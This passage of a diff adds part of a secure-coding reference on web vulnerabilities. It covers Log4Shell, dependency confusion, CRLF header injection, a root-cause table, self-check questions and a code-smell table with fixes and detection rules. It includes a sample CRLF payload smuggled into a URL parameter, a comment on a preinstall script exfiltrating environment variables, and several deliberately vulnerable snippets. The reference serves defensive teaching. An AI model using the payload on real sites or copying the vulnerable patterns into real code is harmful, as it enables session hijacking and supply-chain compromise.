+ log frameworks are sinks, not execution engines. Log4j's `${...}` lookup was enabled by
646
+ default on all messages.
647
+
648
+ **What goes wrong:** **CVE-2021-44228 (Log4Shell)**, disclosed December 9, 2021, scored CVSS
649
+ 10.0. Log4j 2.0-beta9 through 2.14.1 resolved JNDI lookups in logged messages, giving
650
+ attackers unauthenticated RCE via a single HTTP header. Wiz/EY research: 93% of cloud
651
+ enterprise environments were vulnerable. Amazon, Google, Microsoft cloud affected. Attackers
652
+ deployed cryptominers, ransomware, and persistent backdoors. Three follow-on CVEs:
653
+ CVE-2021-45046 (context bypass), CVE-2021-45105 (DoS), CVE-2021-44832 (JDBC RCE).
654
+
655
+ **The fix:**
656
+ ```java
657
+ // Update Log4j to 2.17.1+. Use parameterized logging:
658
+ logger.info("User-Agent: {}", request.getHeader("User-Agent"));
659
+ // Pre-patch: -Dlog4j2.formatMsgNoLookups=true
660
+ // Plain log injection: strip newlines
661
+ String safe = username.replaceAll("[\\r\\n]", "_");
662
+ ```
663
+
664
+ **Detection rule:** Scan deps for `log4j-core` < 2.17.1. Flag string concatenation in
665
+ logger calls. Check for `${` in log output.
666
+
667
+ ---
668
+
669
+ ## VP-18: Dependency Confusion & Header Injection
670
+
671
+ ### VP-18a: Dependency Confusion
672
+
673
+ **Also known as:** Namespace Confusion, Supply Chain Attack. CVE: CVE-2021-24105 (Azure).
674
+
675
+ | Frequency | Severity | Detection difficulty |
676
+ |---|---|---|
677
+ | Medium | Critical | High |
678
+
679
+ **What it looks like:**
680
+ ```json
681
+ { "dependencies": { "mycompany-auth-utils": "^1.2.0" } }
682
+ // If not on public npm, attacker registers it -- npm prefers public over private
683
+ // Attacker's preinstall script exfiltrates env vars
684
+ ```
685
+
686
+ **Why developers do it:** Package managers resolve from public registries by default.
687
+ Organizations use private names without registering public placeholders.
688
+
689
+ **What goes wrong:** In February 2021, Alex Birsan breached 35+ companies including **Apple,
690
+ Microsoft, PayPal, Netflix, Tesla, and Uber** by registering public packages matching private
691
+ names. Code executed on internal build servers with zero interaction. Microsoft awarded $40K
692
+ (their highest) and assigned CVE-2021-24105. Birsan earned $130K+ total.
693
+
694
+ **The fix:**
695
+ ```
696
+ # Use scoped packages: @mycompany/auth-utils
697
+ # .npmrc: @mycompany:registry=https://private.registry.com/
698
+ # Pin with hashes: mycompany-auth==1.2.0 --hash=sha256:abc123
699
+ # Register placeholder packages on public registries
700
+ ```
701
+
702
+ **Detection rule:** Audit private package names against public registries. Check for
703
+ unscoped packages existing only on private registries.
704
+
705
+ ### VP-18b: Header Injection (CRLF / HTTP Response Splitting)
706
+
707
+ **Also known as:** CWE-113, CWE-93. CVEs: CVE-2024-52875 (KerioControl), CVE-2024-20337
708
+ (Cisco Secure Client).
709
+
710
+ | Frequency | Severity | Detection difficulty |
711
+ |---|---|---|
712
+ | Medium | Medium-High | Low |
713
+
714
+ **What it looks like:**
715
+ ```python
716
+ response.headers['Location'] = request.args.get('url')
717
+ # Attacker: ?url=http://legit.com%0d%0aSet-Cookie:%20admin=true
718
+ ```
719
+
720
+ **Why developers do it:** User input in headers (Location, Content-Disposition) without
721
+ stripping CRLF (`\r\n` / `%0d%0a`).
722
+
723
+ **What goes wrong:** CVE-2024-52875 in KerioControl firewalls: CRLF led to XSS and session
724
+ hijacking. CVE-2024-20337 in Cisco Secure Client: CRLF in SAML responses stole tokens for
725
+ unauthorized VPN sessions.
726
+
727
+ **The fix:**
728
+ ```python
729
+ import re
730
+ safe_value = re.sub(r'[\r\n]', '', user_input)
731
+ # Best: use framework redirect functions that sanitize automatically
732
+ ```
733
+
734
+ **Detection rule:** Flag header assignments using user-supplied values without CRLF stripping.
735
+
736
+ ---
737
+
738
+ ## Root Cause Analysis
739
+
740
+ | Root Cause | Patterns Affected | Principle Violated |
741
+ |---|---|---|
742
+ | **Trusting user input** | SQLi, XSS, CMDi, SSTI, Path Traversal, Header/Log Injection, XXE | Never trust, always validate |
743
+ | **Missing authorization** | IDOR, Mass Assignment, CSRF | Verify permissions on every request |
744
+ | **Unsafe defaults** | XXE (entities on), Log4j (lookups on), Deserialization (all classes) | Secure by default |
745
+ | **String concat for structured data** | SQLi, XSS, CMDi, SSTI, Log/Header Injection | Use parameterized APIs |
746
+ | **Insufficient boundary enforcement** | SSRF, Path Traversal, Open Redirects, ReDoS | Validate structure, not just presence |
747
+ | **Implicit internal trust** | SSRF, Dependency Confusion | Zero-trust at every boundary |
748
+ | **Non-atomic security checks** | Race conditions (TOCTOU) | Make check-and-act indivisible |
749
+ | **Over-permissive data binding** | Mass Assignment, Prototype Pollution | Allowlist fields, reject unknowns |
750
+ | **Uncontrolled deserialization** | Insecure Deser., XXE, Prototype Pollution | Never deserialize into executable constructs |
751
+ | **Supply chain trust** | Dependency Confusion, Log4Shell (transitive) | Verify provenance, pin versions |
752
+
753
+ ---
754
+
755
+ ## Self-Check Questions
756
+
757
+ 1. **Does any query use string concatenation with user input?** -> SQLi (VP-01)
758
+ 2. **Is user content rendered without escaping?** -> XSS (VP-02/03)
759
+ 3. **Do state-changing endpoints validate CSRF tokens?** -> CSRF (VP-04)
760
+ 4. **Can users control URLs the server fetches?** -> SSRF (VP-05)
761
+ 5. **Is user data deserialized via pickle/Java/PHP native formats?** -> Deser. (VP-06)
762
+ 6. **Are file paths built from user input without canonicalization?** -> Path Traversal (VP-07)
763
+ 7. **Are shell commands built with user input or shell=True?** -> CMDi (VP-08)
764
+ 8. **Does XML parsing disable external entities and DTDs?** -> XXE (VP-09)
765
+ 9. **Are objects merged with user data without __proto__ filtering?** -> Prototype Pollution (VP-10)
766
+ 10. **Can API consumers set arbitrary model fields?** -> Mass Assignment (VP-11)
767
+ 11. **Do redirects use user URLs without domain allowlists?** -> Open Redirect (VP-12)
768
+ 12. **Are data lookups keyed by user IDs without ownership checks?** -> IDOR (VP-13)
769
+ 13. **Is user input placed inside compiled template strings?** -> SSTI (VP-14)
770
+ 14. **Are security check-then-act sequences non-atomic?** -> Race Conditions (VP-15)
771
+
772
+ ---
773
+
774
+ ## Code Smell Quick Reference
775
+
776
+ | Code Smell | Vulnerability | Confidence |
777
+ |---|---|---|
778
+ | `f"SELECT ... {var}"` | SQL Injection (VP-01) | High |
779
+ | `innerHTML = userInput` | XSS (VP-02/03) | High |
780
+ | `dangerouslySetInnerHTML={{__html: var}}` | XSS (VP-02/03) | High |
781
+ | `render_template_string(user_input)` | SSTI (VP-14) | High |
782
+ | `pickle.loads(untrusted)` | Deserialization (VP-06) | High |
783
+ | `yaml.load(data)` (no SafeLoader) | Deserialization (VP-06) | High |
784
+ | `os.system(f"... {var}")` | Command Injection (VP-08) | High |
785
+ | `subprocess.run(..., shell=True)` | Command Injection (VP-08) | Medium |
786
+ | `requests.get(user_url)` | SSRF (VP-05) | Medium |
787
+ | `redirect(request.params['url'])` | Open Redirect (VP-12) | Medium |
788
+ | `send_file(base + user_filename)` | Path Traversal (VP-07) | High |
789
+ | `etree.parse(stream)` (no config) | XXE (VP-09) | Medium |
790
+ | `for (key in obj) target[key] = obj[key]` | Prototype Pollution (VP-10) | Medium |
791
+ | `setattr(model, key, val)` in loop | Mass Assignment (VP-11) | High |
792
+ | `response.headers['X'] = user_input` | Header Injection (VP-18b) | Medium |
793
+ | `logger.info("msg: " + user_input)` | Log Injection (VP-17) | Medium |
794
+ | `/^(a+)+$/` or `/(.*a){5}/` | ReDoS (VP-16) | High |
795
+ | `db.find({id: req.params.id})` (no owner) | IDOR (VP-13) | Medium |
796
+ | POST endpoint without CSRF token | CSRF (VP-04) | Medium |
797
+ | Private pkg name without scope prefix | Dependency Confusion (VP-18a) | Medium |
798
+
799
+ ---
800
+
801
+ *Researched: 2026-03-08 | Sources: OWASP Top 10 (2021), NVD (nvd.nist.gov), CVE-2017-5638 (Equifax/Apache Struts), CVE-2021-44228 (Log4Shell/CISA), Capital One SSRF breach (2019/Krebs on Security), CVE-2015-4852 (WebLogic), CVE-2024-30088 (Windows Kernel TOCTOU), CVE-2024-50379 (Apache Tomcat), CVE-2023-36665 (protobuf.js), CVE-2024-21529 (dset), CVE-2021-24105 (Azure Artifacts/Alex Birsan), Cloudflare 2019 ReDoS outage, CVE-2024-3400 (PAN-OS), CVE-2021-41773 (Apache httpd), CVE-2024-52875 (KerioControl), CVE-2024-29041 (Express.js), GitHub mass assignment (2012/Homakov), Netflix CSRF (2006), ING Direct CSRF (2008), Uber SSTI (2016/Orange Tsai/James Kettle), Parler IDOR (2021), PortSwigger Web Security Academy, Wiz/EY Log4Shell research, Snyk vulnerability database*